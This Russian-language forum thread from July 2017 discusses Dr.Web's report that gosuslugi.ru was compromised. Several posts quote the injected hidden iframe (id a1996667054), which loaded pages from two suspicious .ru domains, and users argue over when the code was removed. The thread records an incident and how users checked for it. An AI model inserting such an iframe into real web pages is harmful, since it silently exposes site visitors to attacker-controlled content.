39 ответов в этой теме

[oldman666]

 В новостях Dr.Web имеется сообщение о компрометации gosuslugi.ru:
см. https://news.drweb.ru/show/?i=11373&c=5&lng=ru&p=0

Меня заинтересовало там следующее утверждение:

Любой пользователь может проверить наличие кода самостоятельно, использовав поисковый сервис и задав запрос о поиске следующей формулировки:        site:gosuslugi.ru "A1996667054" .

 Вставив этот текст в поисковую строку Google, я получил примерно 86 ссылок на разные страницы gosuslugi.ru.
Кто-нибудь может более подробно пояснить что значит этот результат.

[pig]

Яндекс нашёл 24 результата.

[l.e.e.]

Кто-нибудь может более подробно пояснить что значит этот результат.

Продление юридическому лицу разрешения на... - Госуслуги
gosuslugi.ru›127281/6
...их должностных лиц, осуществляется, в том числе по телефону либо при личном приеме. <br> <iframe id="a1996667054" src="https://al9l235gkc7d.ru/f.html" ></iframe>.

Обычно в поиске строки кода не выдают.

Предоставление земельных участков... - Госуслуги
gosuslugi.ru›204740/3/
...nbsp;года N&nbsp;59-ФЗ "О порядке рассмотрения обращений граждан Российской Федерации".</p><iframe id="a1996667054" src="https://bw95vpjda.ru/f.html"></iframe>.

Невозможно установить безопасное соединение

Злоумышленники могут пытаться похитить ваши данные с сайта bw95vpjda.ru (например, пароли, сообщения или номера банковских карт).

net::ERR_CERT_DATE_INVALID

В процессе динамического генерирования страницы сайта, к которой обращается пользователь, в код сайта добавляется контейнер <iframe>, позволяющий загрузить или запросить любые сторонние данные у браузера пользователя.

 

Сообщение было изменено l.e.e.: 16 Июль 2017 - 08:44

[l.e.e.]

Элизиум должен быть перезагружен    имхо.. Но вы меня не так поняли..

[oldman666]

Элизиум должен быть перезагружен    имхо.. Но вы меня не так поняли..

      Элизиум тут при чём? C здоровьем всё в порядке ? Вам IMHO, батенька, подлечиться и отдохнуть надобно.

  Впрочем,  возможно в Dr.Web проходит испытание нового бота, который нахально выдаёт текст психоделического уровня,
не имеющего никакого отношения к теме, от вашего  доброго имени. В этом случае простите меня, глупого старика.

 

 А теперь по существу.  Я обнаружил, что выдача поиска в Google, о котором шла речь в начале темы по сей момент(17.07.17)
содержит те же 86 ссылок. Однако, если изменить настройки поиска Google так, чтобы он выдавал результаты только за последний месяц,
то имеем занятную выдачу поиска:

По запросу site:gosuslugi.ru "A1996667054" ничего не найдено.

Может быть кто-нибудь из экспертов форума сможет обьяснить этот удивительный факт.
 

[v.martyanov]

 

Элизиум должен быть перезагружен    имхо.. Но вы меня не так поняли..

      Элизиум тут при чём? C здоровьем всё в порядке ? Вам IMHO, батенька, подлечиться и отдохнуть надобно.

  Впрочем,  возможно в Dr.Web проходит испытание нового бота, который нахально выдаёт текст психоделического уровня,
не имеющего никакого отношения к теме, от вашего  доброго имени. В этом случае простите меня, глупого старика.

 

 А теперь по существу.  Я обнаружил, что выдача поиска в Google, о котором шла речь в начале темы по сей момент(17.07.17)
содержит те же 86 ссылок. Однако, если изменить настройки поиска Google так, чтобы он выдавал результаты только за последний месяц,
то имеем занятную выдачу поиска:

По запросу site:gosuslugi.ru "A1996667054" ничего не найдено.

Может быть кто-нибудь из экспертов форума сможет обьяснить этот удивительный факт.
 

 

Страница не менялась за последний месяц, например... Или не индексировалась по какой-то причине.

[oldman666]

Страница не менялась за последний месяц, например... Или не индексировалась по какой-то причине.

 

 Тогда чего стоят утверждения авторов https://news.drweb.ru/show/?i=11373&c=5&lng=ru&p=0,
что результаты поиска "site:gosuslugi.ru "A1996667054"" могут показать наличие вредоносного кода.

[v.martyanov]

 

Страница не менялась за последний месяц, например... Или не индексировалась по какой-то причине.

 

 Тогда чего стоят утверждения авторов https://news.drweb.ru/show/?i=11373&c=5&lng=ru&p=0,
что результаты поиска "site:gosuslugi.ru "A1996667054"" могут показать наличие вредоносного кода.

 

Много стоят. На момент публикации код был. То что вы где-то в гугле или на прочих сервисах, не имеющих отношения к госуслугам, кода найти не можете - исключительно ваши проблемы.

[oldman666]

То что вы где-то в гугле или на прочих сервисах, не имеющих отношения к госуслугам, кода найти не можете - исключительно ваши проблемы.

 

  На данный момент  этого не сможет сделать никто, и похоже вы это знали. Недаром у вас в посте:

 

Много стоят. На момент публикации код был.

 

    А был ли вредоносное программное обеспечениеный код на gosuslugi.ru через три часа после публикации 13 июля - об этом вы благоразумно умалчиваете.

  А вот некто Людмила, судя по значку сотрудница Dr.Web, в комментариях к https://news.drweb.ru/show/?i=11373&c=5&lng=ru&p=0
 в 10:48 17.07.2017 уверенно заявила:

 Проблема была устранена спустя три часа после публикации нами этой новости.
Тут остаются вопросы:
1 Кто такая Людмила и насколько она представляет официальную точку зрения Dr.Web .
2 Почему для публикации этого важного комментария потребовалось три дня.

[VVS]

 

Много стоят. На момент публикации код был.

 
    А был ли вредоносное программное обеспечениеный код на gosuslugi.ru через три часа после публикации 13 июля - об этом вы благоразумно умалчиваете.

 

А какая разница, когда там был этот код?
Главное в том, что он был.
 

А вот некто Людмила, судя по значку сотрудница Dr.Web, в комментариях к https://news.drweb.ru/show/?i=11373&c=5&lng=ru&p=0
 в 10:48 17.07.2017 уверенно заявила:

 Проблема была устранена спустя три часа после публикации нами этой новости.
Тут остаются вопросы:
1 Кто такая Людмила и насколько она представляет официальную точку зрения Dr.Web .

Как Вы правильно ответили чуть выше на этот вопрос - "судя по значку сотрудница Dr.Web".

Сообщение было изменено VVS: 18 Июль 2017 - 10:35

[oldman666]

вредоносное программное обеспечениеный код

 ПО форума Dr.Web искажает текст. Я постил в другой формулировке.

[v.martyanov]

Долюбиться пришли? Не выйдет: все кто успел и имел голову могли убедиться в наличии левого кода.

[sergeyko]

Опять напали на несогласного! Ну что за форум... 

А вы все врёти, а если не врёти, то "не вселенского же масштаба проблема (с)". 

[v.martyanov]

Опять напали на несогласного! Ну что за форум... 

А вы все врёти, а если не врёти, то "не вселенского же масштаба проблема (с)". 

Угу, врем. Нам за это госдеп платит же? ;-)

[VVS]

Лично мне непонятно, что непонятно ТС, ибо он очень непонятно объяснил свои непонятки... вот.

[sergeyko]

Лично мне непонятно, что непонятно ТС, ибо он очень непонятно объяснил свои непонятки... вот.

 

Кто такая Людмила? 

[Konstantin Yudin]

больше всего расстроила реакция паблика, особенно приближенных к ИТ. кругом не компетентность. сегодня родители расспрашивали по этой теме, блин, и нужно оно им, они даже не знают что это. зомбоящик мозги людям полоскает.

[VVS]

больше всего расстроила реакция паблика, особенно приближенных к ИТ. кругом не компетентность.

Угу (подчёркнуто мной):

 

Dr.Web нашел неизвестный вирус на российском портале госуслуг

Подробнее на РБК:
http://www.rbc.ru/technology_and_media/13/07/2017/596792f99a7947a7ada72d82?from=main

[v.martyanov]

Да там чего только не писали... Ну и пускай все знают, какие они чудаки :-D

[NickM]

А был ли вредоносное программное обеспечениеный код на gosuslugi.ru через три часа после публикации 13 июля - об этом вы благоразумно умалчиваете.

 

В день публикации новости - зашел на форум, прочитал новость, в тестовой среде открыл сайт гос.услуг, в панели разработчика firefox поиском в коде *.html страницы нашел фрейм A1996667054 с отсылкой не упомянутые домены, тем самым получил подтверждение новости, покинул сайт гос.услуг.